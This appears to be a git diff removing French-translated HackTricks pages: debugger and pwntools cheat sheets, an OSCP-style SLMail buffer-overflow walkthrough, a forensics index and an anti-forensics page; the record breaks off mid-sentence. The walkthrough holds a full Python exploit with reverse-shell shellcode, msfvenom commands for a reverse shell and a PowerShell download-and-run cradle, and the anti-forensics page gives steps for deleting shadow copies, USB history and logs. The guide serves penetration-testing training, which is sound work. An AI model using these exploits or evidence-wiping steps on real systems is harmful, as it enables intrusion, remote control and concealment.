dir_mem/reg/puntero # Shows content of in where each entry is a -x/o 0xDir_hex -x/2x $eip # 2Words from EIP -x/2x $eip -4 # $eip - 4 -x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) -i r eip # Value of $eip -x/w pointer # Value of the pointer -x/s pointer # String pointed by the pointer -x/xw &pointer # Address where the pointer is located -x/i $eip # Instructions of the EIP -``` -### [GEF](https://github.com/hugsy/gef) -```bash -help memory # Get help on memory command -canary # Search for canary value in memory -checksec #Check protections -p system #Find system function address -search-pattern "/bin/sh" #Search in the process memory -vmmap #Get memory mappings -xinfo # Shows page, size, perms, memory area and offset of the addr in the page -memory watch 0x784000 0x1000 byte #Add a view always showinf this memory -got #Check got table -memory watch $_got()+0x18 5 #Watch a part of the got table - -# Vulns detection -format-string-helper #Detect insecure format strings -heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap - -#Patterns -pattern create 200 #Generate length 200 pattern -pattern search "avaaawaa" #Search for the offset of that substring -pattern search $rsp #Search the offset given the content of $rsp - -#Shellcode -shellcode search x86 #Search shellcodes -shellcode get 61 #Download shellcode number 61 - -#Another way to get the offset of to the RIP -1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it -2- ef➤ i f -Stack level 0, frame at 0x7fffffffddd0: -rip = 0x400cd3; saved rip = 0x6261617762616176 -called by frame at 0x7fffffffddd8 -Arglist at 0x7fffffffdcf8, args: -Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 -Saved registers: -rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 -gef➤ pattern search 0x6261617762616176 -[+] Searching for '0x6261617762616176' -[+] Found at offset 184 (little-endian search) likely -``` -### Astuces - -#### Adresses identiques dans GDB - -Lors du débogage, GDB aura **des adresses légèrement différentes de celles utilisées par le binaire lors de l'exécution.** Vous pouvez faire en sorte que GDB ait les mêmes adresses en faisant : - -- `unset env LINES` -- `unset env COLUMNS` -- `set env _=` _Mettez le chemin absolu vers le binaire_ -- Exploitez le binaire en utilisant le même chemin absolu -- `PWD` et `OLDPWD` doivent être les mêmes lors de l'utilisation de GDB et lors de l'exploitation du binaire - -#### Backtrace pour trouver les fonctions appelées - -Lorsque vous avez un **binaire lié statiquement**, toutes les fonctions appartiendront au binaire (et non à des bibliothèques externes). Dans ce cas, il sera difficile d'**identifier le flux que suit le binaire pour, par exemple, demander une entrée utilisateur**.\ -Vous pouvez facilement identifier ce flux en **exécutant** le binaire avec **gdb** jusqu'à ce qu'on vous demande une entrée. Ensuite, arrêtez-le avec **CTRL+C** et utilisez la commande **`bt`** (**backtrace**) pour voir les fonctions appelées : -``` -gef➤ bt -#0 0x00000000004498ae in ?? () -#1 0x0000000000400b90 in ?? () -#2 0x0000000000400c1d in ?? () -#3 0x00000000004011a9 in ?? () -#4 0x0000000000400a5a in ?? () -``` -### Serveur GDB - -`gdbserver --multi 0.0.0.0:23947` (dans IDA, vous devez remplir le chemin absolu de l'exécutable dans la machine Linux et dans la machine Windows) - -## Ghidra - -### Trouver l'offset de la pile - -**Ghidra** est très utile pour trouver l'**offset** pour un **débordement de tampon grâce aux informations sur la position des variables locales.**\ -Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique que vous avez besoin d'un offset de `0xbc`. De plus, si `local_10` est un cookie canari, cela indique que pour l'écraser depuis `local_bc`, il y a un offset de `0xac`.\ -_Rappelez-vous que les premiers 0x08 d'où le RIP est sauvegardé appartiennent au RBP._ - -![](<../../images/image (616).png>) - -## GCC - -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compiler sans protections\ -**-o** --> Sortie\ -**-g** --> Sauvegarder le code (GDB pourra le voir)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> Pour désactiver l'ASLR sous Linux - -**Pour compiler un shellcode :**\ -**nasm -f elf assembly.asm** --> retourne un ".o"\ -**ld assembly.o -o shellcodeout** --> Exécutable - -## Objdump - -**-d** --> **Désassembler les** sections exécutables (voir les opcodes d'un shellcode compilé, trouver des gadgets ROP, trouver l'adresse d'une fonction...)\ -**-Mintel** --> **Syntaxe Intel**\ -**-t** --> **Table des symboles**\ -**-D** --> **Désassembler tout** (adresse de la variable statique)\ -**-s -j .dtors** --> section dtors\ -**-s -j .got** --> section got\ -\-D -s -j .plt --> section **plt** **décompilée**\ -**-TR** --> **Relocalisations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse de "puts" à modifier dans le GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Adresse d'une variable statique (celles-ci sont stockées dans la section DATA). - -## Dumps de cœur - -1. Exécutez `ulimit -c unlimited` avant de démarrer mon programme -2. Exécutez `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` -3. sudo gdb --core=\ --quiet - -## Plus - -**ldd executable | grep libc.so.6** --> Adresse (si ASLR, alors cela change à chaque fois)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Boucle pour voir si l'adresse change beaucoup\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh" - -**strace executable** --> Fonctions appelées par l'exécutable\ -**rabin2 -i ejecutable -->** Adresse de toutes les fonctions - -## **Débogueur Inmunity** -```bash -!mona modules #Get protections, look for all false except last one (Dll of SO) -!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) -``` -## IDA - -### Débogage dans linux distant - -À l'intérieur du dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire à l'intérieur d'un linux. Pour ce faire, déplacez le binaire _linux_server_ ou _linux_server64_ à l'intérieur du serveur linux et exécutez-le dans le dossier qui contient le binaire : -``` -./linux_server64 -Ppass -``` -Ensuite, configurez le débogueur : Debugger (linux remote) --> Options de processus... : - -![](<../../images/image (101).png>) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md deleted file mode 100644 index c908e545d..000000000 --- a/src/exploiting/tools/pwntools.md +++ /dev/null @@ -1,146 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} -``` -pip3 install pwntools -``` -# Pwn asm - -Obtenez des opcodes à partir d'une ligne ou d'un fichier. -``` -pwn asm "jmp esp" -pwn asm -i -``` -**Peut sélectionner :** - -- type de sortie (raw, hex, string, elf) -- contexte de fichier de sortie (16, 32, 64, linux, windows...) -- éviter les octets (nouvelles lignes, null, une liste) -- sélectionner l'encodeur déboguer shellcode en utilisant gdb exécuter la sortie - -# **Vérification Pwn** - -Script checksec -``` -pwn checksec -``` -# Pwn constgrep - -# Pwn cyclic - -Obtenez un motif -``` -pwn cyclic 3000 -pwn cyclic -l faad -``` -**Peut sélectionner :** - -- L'alphabet utilisé (caractères minuscules par défaut) -- Longueur du motif unique (par défaut 4) -- contexte (16,32,64,linux,windows...) -- Prendre le décalage (-l) - -# Pwn debug - -Attacher GDB à un processus -``` -pwn debug --exec /bin/bash -pwn debug --pid 1234 -pwn debug --process bash -``` -**Peut sélectionner :** - -- Par exécutable, par nom ou par contexte pid (16,32,64,linux,windows...) -- gdbscript à exécuter -- sysrootpath - -# Pwn désactiver nx - -Désactiver nx d'un binaire -``` -pwn disablenx -``` -# Pwn disasm - -Désassemblez les opcodes hexadecimaux -``` -pwn disasm ffe4 -``` -**Peut sélectionner :** - -- contexte (16,32,64,linux,windows...) -- adresse de base -- couleur(par défaut)/sans couleur - -# Pwn elfdiff - -Imprime les différences entre 2 fichiers -``` -pwn elfdiff -``` -# Pwn hex - -Obtenir la représentation hexadécimale -```bash -pwn hex hola #Get hex of "hola" ascii -``` -# Pwn phd - -Obtenir un hexdump -``` -pwn phd -``` -**Peut sélectionner :** - -- Nombre d'octets à afficher -- Nombre d'octets par ligne mettre en surbrillance l'octet -- Ignorer les octets au début - -# Pwn pwnstrip - -# Pwn scrable - -# Pwn shellcraft - -Obtenir des shellcodes -``` -pwn shellcraft -l #List shellcodes -pwn shellcraft -l amd #Shellcode with amd in the name -pwn shellcraft -f hex amd64.linux.sh #Create in C and run -pwn shellcraft -r amd64.linux.sh #Run to test. Get shell -pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port -``` -**Peut sélectionner :** - -- shellcode et arguments pour le shellcode -- Fichier de sortie -- format de sortie -- déboguer (attacher dbg au shellcode) -- avant (trap de débogage avant le code) -- après -- éviter d'utiliser des opcodes (par défaut : pas nul et nouvelle ligne) -- Exécuter le shellcode -- Couleur/pas de couleur -- lister les syscalls -- lister les shellcodes possibles -- Générer ELF en tant que bibliothèque partagée - -# Modèle Pwn - -Obtenez un modèle python -``` -pwn template -``` -**Peut sélectionner :** hôte, port, utilisateur, mot de passe, chemin et silencieux - -# Pwn unhex - -De l'hex à la chaîne -``` -pwn unhex 686f6c61 -``` -# Mise à jour de Pwn - -Pour mettre à jour pwntools -``` -pwn update -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md deleted file mode 100644 index 38d822131..000000000 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ /dev/null @@ -1,237 +0,0 @@ -# Exploitation de Windows (Guide de base - niveau OSCP) - -{{#include ../banners/hacktricks-training.md}} - -## **Commencez à installer le service SLMail** - -## Redémarrer le service SLMail - -Chaque fois que vous devez **redémarrer le service SLMail**, vous pouvez le faire en utilisant la console Windows : -``` -net start slmail -``` -![](<../images/image (23) (1).png>) - -## Modèle d'exploit Python très basique -```python -#!/usr/bin/python - -import socket - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -ip = '10.11.25.153' -port = 110 - -buffer = 'A' * 2700 -try: -print "\nLaunching exploit..." -s.connect((ip, port)) -data = s.recv(1024) -s.send('USER username' +'\r\n') -data = s.recv(1024) -s.send('PASS ' + buffer + '\r\n') -print "\nFinished!." -except: -print "Could not connect to "+ip+":"+port -``` -## **Changer la police d'Immunity Debugger** - -Allez à `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attacher le processus à Immunity Debugger :** - -**File --> Attach** - -![](<../images/image (24) (1) (1).png>) - -**Et appuyez sur le bouton START** - -## **Envoyer l'exploit et vérifier si l'EIP est affecté :** - -![](<../images/image (25) (1) (1).png>) - -Chaque fois que vous interrompez le service, vous devez le redémarrer comme indiqué au début de cette page. - -## Créer un motif pour modifier l'EIP - -Le motif doit être aussi grand que le tampon que vous avez utilisé pour interrompre le service précédemment. - -![](<../images/image (26) (1) (1).png>) -``` -/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 -``` -Changez le tampon de l'exploit et définissez le motif, puis lancez l'exploit. - -Un nouveau crash devrait apparaître, mais avec une adresse EIP différente : - -![](<../images/image (27) (1) (1).png>) - -Vérifiez si l'adresse était dans votre motif : - -![](<../images/image (28) (1) (1).png>) -``` -/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 -``` -Il semble que **nous puissions modifier l'EIP à l'offset 2606** du tampon. - -Vérifiez-le en modifiant le tampon de l'exploit : -``` -buffer = 'A'*2606 + 'BBBB' + 'CCCC' -``` -Avec ce tampon, l'EIP écrasé devrait pointer vers 42424242 ("BBBB") - -![](<../images/image (30) (1) (1).png>) - -![](<../images/image (29) (1) (1).png>) - -On dirait que ça fonctionne. - -## Vérifiez l'espace Shellcode dans la pile - -600B devrait suffire pour n'importe quel shellcode puissant. - -Changeons le tampon : -``` -buffer = 'A'*2606 + 'BBBB' + 'C'*600 -``` -lancez le nouvel exploit et vérifiez l'EBP et la longueur du shellcode utile - -![](<../images/image (31) (1).png>) - -![](<../images/image (32) (1).png>) - -Vous pouvez voir que lorsque la vulnérabilité est atteinte, l'EBP pointe vers le shellcode et que nous avons beaucoup d'espace pour localiser un shellcode ici. - -Dans ce cas, nous avons **de 0x0209A128 à 0x0209A2D6 = 430B.** Suffisant. - -## Vérifiez les mauvais caractères - -Changez à nouveau le buffer : -``` -badchars = ( -"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" -"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" -"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" -"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" -"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" -"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" -"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" -"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" -"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" -"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" -"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" -"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" -"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" -"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" -"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" -"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" -) -buffer = 'A'*2606 + 'BBBB' + badchars -``` -Les badchars commencent à 0x01 car 0x00 est presque toujours mauvais. - -Exécutez à plusieurs reprises l'exploit avec ce nouveau buffer en supprimant les caractères jugés inutiles : - -Par exemple : - -Dans ce cas, vous pouvez voir que **vous ne devez pas utiliser le caractère 0x0A** (rien n'est sauvegardé en mémoire puisque le caractère 0x09). - -![](<../images/image (33) (1).png>) - -Dans ce cas, vous pouvez voir que **le caractère 0x0D est évité** : - -![](<../images/image (34) (1).png>) - -## Trouver un JMP ESP comme adresse de retour - -Utiliser : -``` -!mona modules #Get protections, look for all false except last one (Dll of SO) -``` -Vous allez **lister les cartes mémoire**. Recherchez un DLL qui a : - -- **Rebase : Faux** -- **SafeSEH : Faux** -- **ASLR : Faux** -- **NXCompat : Faux** -- **OS Dll : Vrai** - -![](<../images/image (35) (1).png>) - -Maintenant, à l'intérieur de cette mémoire, vous devriez trouver des octets JMP ESP, pour ce faire, exécutez : -``` -!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) -!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case -``` -**Ensuite, si une adresse est trouvée, choisissez-en une qui ne contient aucun badchar :** - -![](<../images/image (36) (1).png>) - -**Dans ce cas, par exemple : \_0x5f4a358f**\_ - -## Créer du shellcode -``` -msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' -msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' -``` -Si l'exploit ne fonctionne pas mais qu'il devrait (vous pouvez voir avec ImDebg que le shellcode est atteint), essayez de créer d'autres shellcodes (msfvenom avec créer différents shellcodes pour les mêmes paramètres). - -**Ajoutez quelques NOPS au début** du shellcode et utilisez-le ainsi que l'adresse de retour pour JMP ESP, et terminez l'exploit : -```bash -#!/usr/bin/python - -import socket - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -ip = '10.11.25.153' -port = 110 - -shellcode = ( -"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1" -"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b" -"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4" -"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6" -"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4" -"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36" -"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9" -"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19" -"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef" -"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78" -"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85" -"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4" -"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35" -"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71" -"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8" -"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf" -"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a" -"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5" -"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25" -"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4" -"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1" -"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a" -"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d" -"\x2d\xb8\x63\xe2\x4e\xe9" -) - -buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode -try: -print "\nLaunching exploit..." -s.connect((ip, port)) -data = s.recv(1024) -s.send('USER username' +'\r\n') -data = s.recv(1024) -s.send('PASS ' + buffer + '\r\n') -print "\nFinished!." -except: -print "Could not connect to "+ip+":"+port -``` -> [!WARNING] -> Il existe des shellcodes qui **s'écrasent eux-mêmes**, il est donc important d'ajouter toujours quelques NOPs avant le shellcode - -## Améliorer le shellcode - -Ajoutez ces paramètres : -``` -EXITFUNC=thread -e x86/shikata_ga_nai -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md deleted file mode 100644 index ba7345590..000000000 --- a/src/forensics/basic-forensic-methodology/README.md +++ /dev/null @@ -1,82 +0,0 @@ -# Méthodologie de base en criminalistique - -{{#include ../../banners/hacktricks-training.md}} - -## Création et montage d'une image - -{{#ref}} -../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md -{{#endref}} - -## Analyse de logiciels malveillants - -Ce **n'est pas nécessairement la première étape à réaliser une fois que vous avez l'image**. Mais vous pouvez utiliser ces techniques d'analyse de logiciels malveillants de manière indépendante si vous avez un fichier, une image de système de fichiers, une image mémoire, pcap... donc il est bon de **garder ces actions à l'esprit** : - -{{#ref}} -malware-analysis.md -{{#endref}} - -## Inspection d'une image - -Si vous recevez une **image judiciaire** d'un appareil, vous pouvez commencer **à analyser les partitions, le système de fichiers** utilisé et **à récupérer** potentiellement des **fichiers intéressants** (même ceux supprimés). Apprenez comment dans : - -{{#ref}} -partitions-file-systems-carving/ -{{#endref}} - -Selon les systèmes d'exploitation utilisés et même la plateforme, différents artefacts intéressants devraient être recherchés : - -{{#ref}} -windows-forensics/ -{{#endref}} - -{{#ref}} -linux-forensics.md -{{#endref}} - -{{#ref}} -docker-forensics.md -{{#endref}} - -## Inspection approfondie de types de fichiers spécifiques et de logiciels - -Si vous avez un **fichier très suspect**, alors **selon le type de fichier et le logiciel** qui l'a créé, plusieurs **astuces** peuvent être utiles.\ -Lisez la page suivante pour apprendre quelques astuces intéressantes : - -{{#ref}} -specific-software-file-type-tricks/ -{{#endref}} - -Je tiens à faire une mention spéciale à la page : - -{{#ref}} -specific-software-file-type-tricks/browser-artifacts.md -{{#endref}} - -## Inspection de dump mémoire - -{{#ref}} -memory-dump-analysis/ -{{#endref}} - -## Inspection de Pcap - -{{#ref}} -pcap-inspection/ -{{#endref}} - -## **Techniques anti-criminalistiques** - -Gardez à l'esprit l'utilisation possible de techniques anti-criminalistiques : - -{{#ref}} -anti-forensic-techniques.md -{{#endref}} - -## Chasse aux menaces - -{{#ref}} -file-integrity-monitoring.md -{{#endref}} - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md deleted file mode 100644 index 9077869a8..000000000 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ /dev/null @@ -1,153 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - - -# Horodatages - -Un attaquant peut être intéressé par **le changement des horodatages des fichiers** pour éviter d'être détecté.\ -Il est possible de trouver les horodatages à l'intérieur du MFT dans les attributs `$STANDARD_INFORMATION`**et**`$FILE_NAME`. - -Les deux attributs ont 4 horodatages : **Modification**, **accès**, **création**, et **modification de l'enregistrement MFT** (MACE ou MACB). - -**L'explorateur Windows** et d'autres outils affichent les informations de **`$STANDARD_INFORMATION`**. - -## TimeStomp - Outil anti-forensique - -Cet outil **modifie** les informations d'horodatage à l'intérieur de **`$STANDARD_INFORMATION`** **mais** **pas** les informations à l'intérieur de **`$FILE_NAME`**. Par conséquent, il est possible d'**identifier** une **activité** **suspecte**. - -## Usnjrnl - -Le **Journal USN** (Journal de Numéro de Séquence de Mise à Jour) est une fonctionnalité du NTFS (système de fichiers Windows NT) qui suit les changements de volume. L'outil [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permet d'examiner ces changements. - -![](<../../images/image (449).png>) - -L'image précédente est la **sortie** affichée par l'**outil** où l'on peut observer que certains **changements ont été effectués** sur le fichier. - -## $LogFile - -**Tous les changements de métadonnées d'un système de fichiers sont enregistrés** dans un processus connu sous le nom de [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Les métadonnées enregistrées sont conservées dans un fichier nommé `**$LogFile**`, situé dans le répertoire racine d'un système de fichiers NTFS. Des outils comme [LogFileParser](https://github.com/jschicht/LogFileParser) peuvent être utilisés pour analyser ce fichier et identifier les changements. - -![](<../../images/image (450).png>) - -Encore une fois, dans la sortie de l'outil, il est possible de voir que **certains changements ont été effectués**. - -En utilisant le même outil, il est possible d'identifier **à quel moment les horodatages ont été modifiés** : - -![](<../../images/image (451).png>) - -- CTIME : Heure de création du fichier -- ATIME : Heure de modification du fichier -- MTIME : Modification de l'enregistrement MFT du fichier -- RTIME : Heure d'accès du fichier - -## Comparaison de `$STANDARD_INFORMATION` et `$FILE_NAME` - -Une autre façon d'identifier des fichiers modifiés suspects serait de comparer le temps sur les deux attributs à la recherche de **disparités**. - -## Nanosecondes - -Les horodatages **NTFS** ont une **précision** de **100 nanosecondes**. Ainsi, trouver des fichiers avec des horodatages comme 2010-10-10 10:10:**00.000:0000 est très suspect**. - -## SetMace - Outil anti-forensique - -Cet outil peut modifier les deux attributs `$STARNDAR_INFORMATION` et `$FILE_NAME`. Cependant, depuis Windows Vista, il est nécessaire qu'un OS en direct modifie ces informations. - -# Masquage de données - -NFTS utilise un cluster et la taille minimale d'information. Cela signifie que si un fichier occupe un et demi cluster, la **moitié restante ne sera jamais utilisée** jusqu'à ce que le fichier soit supprimé. Il est donc possible de **cacher des données dans cet espace de remplissage**. - -Il existe des outils comme slacker qui permettent de cacher des données dans cet espace "caché". Cependant, une analyse du `$logfile` et du `$usnjrnl` peut montrer que certaines données ont été ajoutées : - -![](<../../images/image (452).png>) - -Il est alors possible de récupérer l'espace de remplissage en utilisant des outils comme FTK Imager. Notez que ce type d'outil peut sauvegarder le contenu obfusqué ou même chiffré. - -# UsbKill - -C'est un outil qui **éteindra l'ordinateur si un changement dans les ports USB** est détecté.\ -Une façon de le découvrir serait d'inspecter les processus en cours et de **réviser chaque script python en cours d'exécution**. - -# Distributions Linux Live - -Ces distributions sont **exécutées dans la mémoire RAM**. La seule façon de les détecter est **si le système de fichiers NTFS est monté avec des permissions d'écriture**. S'il est monté uniquement avec des permissions de lecture, il ne sera pas possible de détecter l'intrusion. - -# Suppression sécurisée - -[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) - -# Configuration Windows - -Il est possible de désactiver plusieurs méthodes de journalisation Windows pour rendre l'enquête forensique beaucoup plus difficile. - -## Désactiver les horodatages - UserAssist - -C'est une clé de registre qui maintient les dates et heures auxquelles chaque exécutable a été exécuté par l'utilisateur. - -Désactiver UserAssist nécessite deux étapes : - -1. Définir deux clés de registre, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` et `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, toutes deux à zéro pour signaler que nous voulons désactiver UserAssist. -2. Effacer vos sous-arbres de registre qui ressemblent à `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. - -## Désactiver les horodatages - Prefetch - -Cela enregistrera des informations sur les applications exécutées dans le but d'améliorer les performances du système Windows. Cependant, cela peut également être utile pour les pratiques forensiques. - -- Exécutez `regedit` -- Sélectionnez le chemin de fichier `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Cliquez avec le bouton droit sur `EnablePrefetcher` et `EnableSuperfetch` -- Sélectionnez Modifier sur chacun d'eux pour changer la valeur de 1 (ou 3) à 0 -- Redémarrez - -## Désactiver les horodatages - Dernière heure d'accès - -Chaque fois qu'un dossier est ouvert à partir d'un volume NTFS sur un serveur Windows NT, le système prend le temps de **mettre à jour un champ d'horodatage sur chaque dossier répertorié**, appelé l'heure de dernier accès. Sur un volume NTFS très utilisé, cela peut affecter les performances. - -1. Ouvrez l'Éditeur de Registre (Regedit.exe). -2. Parcourez `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Recherchez `NtfsDisableLastAccessUpdate`. S'il n'existe pas, ajoutez ce DWORD et définissez sa valeur à 1, ce qui désactivera le processus. -4. Fermez l'Éditeur de Registre et redémarrez le serveur. - -## Supprimer l'historique USB - -Tous les **entrées de périphériques USB** sont stockées dans le Registre Windows sous la clé de registre **USBSTOR** qui contient des sous-clés créées chaque fois que vous branchez un périphérique USB sur votre PC ou ordinateur portable. Vous pouvez trouver cette clé ici `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **En supprimant cela**, vous supprimerez l'historique USB.\ -Vous pouvez également utiliser l'outil [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) pour vous assurer que vous les avez supprimés (et pour les supprimer). - -Un autre fichier qui sauvegarde des informations sur les USB est le fichier `setupapi.dev.log` à l'intérieur de `C:\Windows\INF`. Cela devrait également être supprimé. - -## Désactiver les copies d'ombre - -**Lister** les copies d'ombre avec `vssadmin list shadowstorage`\ -**Les supprimer** en exécutant `vssadmin delete shadow` - -Vous pouvez également les supprimer via l'interface graphique en suivant les étapes proposées dans [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) - -Pour désactiver les copies d'ombre [étapes à partir d'ici](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): - -1. Ouvrez le programme Services en tapant "services" dans la zone de recherche après avoir cliqué sur le bouton de démarrage Windows. -2. Dans la liste, trouvez "Volume Shadow Copy", sélectionnez-le, puis accédez aux Propriétés en cliquant avec le bouton droit. -3. Choisissez Désactivé dans le menu déroulant "Type de démarrage", puis confirmez le changement en cliquant sur Appliquer et OK. - -Il est également possible de modifier la configuration des fichiers qui vont être copiés dans la copie d'ombre dans le registre `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` - -## Écraser les fichiers supprimés - -- Vous pouvez utiliser un **outil Windows** : `cipher /w:C` Cela indiquera à cipher de supprimer toutes les données de l'espace disque inutilisé disponible à l'intérieur du lecteur C. -- Vous pouvez également utiliser des outils comme [**Eraser**](https://eraser.heidi.ie) - -## Supprimer les journaux d'événements Windows - -- Windows + R --> eventvwr.msc --> Développez "Journaux Windows" --> 